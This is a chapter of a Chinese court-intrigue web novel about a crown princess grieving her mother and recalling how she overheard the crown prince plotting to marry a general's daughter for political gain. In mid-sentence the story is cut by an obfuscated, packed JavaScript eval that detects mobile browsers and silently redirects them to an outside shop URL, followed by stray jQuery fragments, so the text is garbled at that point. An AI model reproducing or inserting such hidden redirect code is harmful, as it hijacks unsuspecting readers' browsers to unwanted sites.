清晨,才得到秦氏死亡消息不久的喻歆然。连梳妆都来不及,便早早派人备了马车。打算赶去乐安侯府。
只是当她刚准备上马车之际。不远处,便响起了一道男子熟悉的声音。使得她脚下一顿,浑身不由僵硬。
不一会,那男子已然走至她身后。身侧侍女见状,识趣退至一边,替男子让开位置。
“本宫随你一道去。”耳边响起宴旭泞熟悉的声音。喻歆然听了,却只是眸眼微沉。抿了抿唇,无言默默点头,轻轻嗯了一声。
在二人先后一并上了马车后,车内除去外面车夫驾马与马车行驶的声音外,马车内却莫名安静的可怕。
喻歆然低着脑袋,脑中尽是刚得知秦氏死亡消息的绝望痛苦。身为太子妃,她此刻已经很刻苦的平复情绪,尽量不让自己因为崩溃,而在太子跟前失礼哭出来。
宴旭泞同样无言,他轻扬下颚,将喻歆然此刻沉默,濒临崩溃绝望的隐忍模样收入眼底。心中竟不觉好笑。
谁能想到啊,以往他那高傲的太子妃。居然也会露出如今这副憋泪惹人同情的模样。
喻歆然不知,此刻同她同座一起的丈夫,瞧着她现下可怜凄惨的模样后,眼底竟闪过一丝笑意嘲弄,转瞬即逝。
“侯夫人的消息,我也是刚刚收到。”此刻,他并未自称本宫。而是似惋惜哀伤般,无奈轻叹了一口气,伸手握住了她的手,语调低低道:“节哀...”
“......”
伴随着这句‘节哀’,喻歆然脑中紧绷着的一根弦,瞬间断裂。原本憋着强撑的悲痛,一股脑涌上双眼。她的鼻尖愈发酸涩,眼眶也随着这两个字,逐渐湿润。
一滴一滴的泪,顺着脸颊滴在了宴旭泞覆在她手背,那只骨节分明的大手上。
趁此机会,宴旭泞又朝喻歆然靠近了几分。动作轻柔的将浑身颤抖,低垂着脑袋不肯抬头看他的女子轻揽入怀,接着手上轻拍她的背,又好似安抚道:“从前的那些不愉快,便让我们忘了吧。你终究是我妻,我们也不能一直那般冷战下去。那场宴会,你冒名替弟求娶之事,我不会再怨你。”
“到底也是我,当初不顾你的感受。未曾与你商议,自行作主,一连走了五年。让你心中不安,才会导致我们之间发展成了如今这般...”
“......”
喻歆然没有吭声,只是脑中浮现出秦氏生前的面容。在宴旭泞怀中,低声抽泣了起来。
到底...为什么会变成这样...
好端端的,阿母怎么就突然走了...
还未待她思考秦氏为何死的如此蹊跷时,头顶再度响起了宴旭泞轻柔的声音:“如今秦夫人已去。我希望你知道,你不仅仅只有父亲与弟弟。”
“你的身边,还有我。我会,一直陪着你。”
听见这最后一句,喻歆然当即怔愣住。她缓缓抬眸,满眼震惊的同他对视:“殿下...”
“常平,我们和好吧。”
只见,他俊逸好看的脸上,露出一抹淡淡温情的笑。尤其是在他亲口说出那句‘常平’时,令她大脑瞬间空白。
所有的一切...
自五年前,她无意偷听到他打算拉拢辛康安,娶他女儿为侧妃时起...
她便一直谋划着,控制着弟弟逼迫他在宴旭泞不在的那五年,接近辛康安之女...要求他赶在宴旭泞回来向陛下求婚前,便让弟弟先他一步,娶了辛雁...
所有的不安、痛苦、嫉妒乃至是焦虑。甚至是在控制弟弟,强逼他的愧疚,这些年来无一不在折磨着她...
当年她才刚嫁给太子一年,她便知晓了他打算娶侧妃...同时又收到他竟主动请缨,即将前去边城,讨伐已攻打至梧州边城的西鸾敌军。
五年前。壹洲国,景元一十九年。
边关大急,邻国西鸾冒犯壹洲边关。前线战事告急,镇守边城梧州的老将军面对西鸾的突然出击,力不从心。当前战事,梧州城军粮紧缺,被西鸾大军围困城中,城中百姓日日惶恐不安。
故而连夜写下奏章,加急送往京城。此请愿奏章沿路跑死了几匹马,终才送达京城。奏章中写道,望陛下能够派遣支援大军,到来梧州城,迎击敌军,击退西鸾。保卫壹洲边关。
当朝廷收到加急送来的急奏时。朝堂之上,太子宴旭泞主动向皇帝请缨。自愿带领大军,去往前线支援,对战西鸾。太子此一去,危机重重。
以备无患,皇帝在太子请缨当日下朝后,下旨指定忠武将军辛康安,协助太子,共赴梧州城,支援驻守梧州边城的将军。
响午时刻,当太子即将前往边城的消息传到东宫时。彼时的喻歆然,闻此大惊。她不顾众人阻拦,在从侍女口中听闻此消息的第一时间,便独自前往了太子所在书斋。
当她一路焦虑的冲至太子书斋门外时,却是并未在书斋内发觉太子。心急之下,她便想到跑去太子寝宫。打算前去向太子身边贴身伺候的下人们,询问太子动向。
不想在沿路的长廊之上,途径一个拐角时,门窗禁闭的议事室内,却意外传来太子与人交谈的话语。
也不知为何,周遭四下无人。想来是太子提前故意遣散了周遭下人。
“殿下,您何故将外面都遣散?”
“如今的东宫,内里不知充斥着多少那人的细作,在随时监督我们。以防万一,还是将人清了好。”
门内最先传出一道尖细的声音。喻歆然听此愣住,只因她识得这道声音。是早几个月前,宴旭泞身边新来的一名公公太监。
“虽说如此,可奴才还是不懂。你今日为何要主动请缨前往边城。”
“总待在京都,必成不了什么事。如此长久下来,我则会一直受限于他的监视下。”
喻歆然脚下早已顿住,半身不由自主往墙壁之上贴了贴,接着又听到:“这次战事,选中了忠武将军辛康安。我晓得他,手上拥有先帝生前,交予他父亲辛老将军的七万兵权。父皇登基后,辛老将军也因年迈过世。辛康安则不出意外的接过了那七万兵权。”
“所以您的意思是?”
听至此,喻歆然本还没觉得有什么怪异。直至...
少年太子话语一顿,语调中携带着明显笑意,又继续道:“我想到了一个,一举两得的法子。只要我主动请缨前往边城,一来既可以摆脱他的监视控制。二来,若能击退西鸾,立下大功。什么老五,老六等等其余养尊处优的皇子。又如何能比得了,立下大功的太子呢?”
“最后还有一点,我想纳侧妃。”
当‘侧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079218|149458||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妃’二字传入她耳中时,她瞪大眼,整个人几乎都傻了。可还不待她回神,接着宴旭泞更加令人绝望的话语,又再度响起:“听闻。辛康安有一女,今年刚巧金钗十二。此一去,必会耗费几年时光。一并在边城的这些时光,拉拢辛康安,应是不在话下,就算他最终依然固执己见。大不了想个法子,设计些什么救命恩情,再亲自去请旨赐婚,让辛家女嫁与我。”
“如此一来,不就是亲上加亲。任凭他辛康安如何想再继续保持中立,他也不得不被迫跟随我。毕竟他最为宠爱的女儿,可在我手上。”
“?!”
“殿下好计谋,如此一来,确实一举两得!”
听完这些交谈话语,喻歆然站直身,满脸尽是不可置信。
从头到尾,他从未提起过她...
她才刚嫁与他一年,他便有了纳侧妃的想法。如今更是主动请缨离京,前去边城支援。一去,又是不知要走多少年。
这一系列重要的决定,他甚至从未知会过她一声...
宴旭泞,你够狠...
喻歆然紧咬下唇,双拳捏紧成拳。调头转身,悄然离去了。她脚下步伐格外小心,似乎在尽量不让屋内交谈的两人发觉屋外的她。
下午黄昏时,果不其然。宴旭泞在回去书斋后听闻,她前去寻过他。晚膳便主动来了她的太子妃寝宫...
宴旭泞一来,便是询问她的身子如何,响午吃了什么。他没能赶来陪她一并用午膳,很是愧疚什么的话。
喻歆然对于他的问题,一一如实答复。可却始终等不来,他主动提起自己即将启程前往边城的事。
直至两人一并用完晚膳,耳畔听着少年的嘘寒问暖,她双眸便愈发暗淡。
直至,突然间宴旭泞似无意般,忽问:“听下人说,你去书斋寻过我?”
喻歆然抬眸,脸上扯出一抹勉强的苦笑,竟是反问道:“您还好意思问呢?”
宴旭泞眨眼,听此一顿。显然是被喻歆然的反问,给问懵了。
“您打算同忠武将军,一并前往支援梧州之事。臣妾听说了。”喻歆然说着,抬袖抹泪,故意伤感了起来。
毕竟她不能让宴旭泞发觉,她响午还偷听到他打算娶辛氏女的事情。
“臣妾去寻您,您不在。便也只好灰溜溜的回来了,不想现下您一来。竟是半点也不提此事...”
“这...”
见她一副被夫抛弃的可怜模样,宴旭泞到嘴的试探便有些难以开口了,但他最后还是挑眉小心继续问道:“那之后,你真没去过什么别的地方寻我?”
“没有!”喻歆然抽噎着,听此话,似来了气一般,猛然抬眸对向他,反驳道。
她眉眼气愤,似乎是真被他气到了。脸上全然没有任何说谎的迹象:“刚用完晚膳,便立即盘问臣妾,您是什么意思?莫不成,您心底还藏了什么小秘密,怕臣妾发现不成?”
“......”
宴旭泞彻底无语了...
这些姓喻的,怎么嘴巴都这么利索?
“怎会,你可别乱想。”他脸上再度扬起假笑,伸手一把将喻歆然揽入怀中。
夕阳落下,黑夜降临。今夜宴旭泞并未走,而是选择留在喻歆然宫中,就寝歇了一夜。